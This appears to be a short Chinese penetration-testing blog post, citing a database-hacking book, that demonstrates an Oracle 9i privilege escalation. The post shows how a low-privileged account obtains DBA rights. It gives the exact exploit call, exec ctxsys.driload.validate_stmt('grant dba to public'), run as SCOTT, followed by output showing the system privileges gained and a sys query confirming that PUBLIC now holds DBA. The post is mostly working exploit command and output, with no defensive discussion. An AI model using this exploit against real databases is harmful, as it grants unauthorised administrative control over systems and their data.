scott 获得dba权限

SQL> show user
USER is "SCOTT"
SQL> exec ctxsys.driload.validate_stmt('grant dba to public')
BEGIN ctxsys.driload.validate_stmt('grant dba to public'); END;

*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER




PRIVILEGE
----------------------------------------
BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
BACKUP ANY TABLE
DROP ANY TABLE


用sys用户查询可得:
SQL> select distinct a.name from user$ a,sysauth$ b where a.user#=b.grantee# and b.privilege#=4;
NAME
------------------------------
CTXSYS
PUBLIC
SYS
SYSTEM
WKSYS


来自《数据库黑客大曝光--数据库服务器防护术》

以上bug仅在oracle9i中有效

你可能感兴趣的:(渗透测试)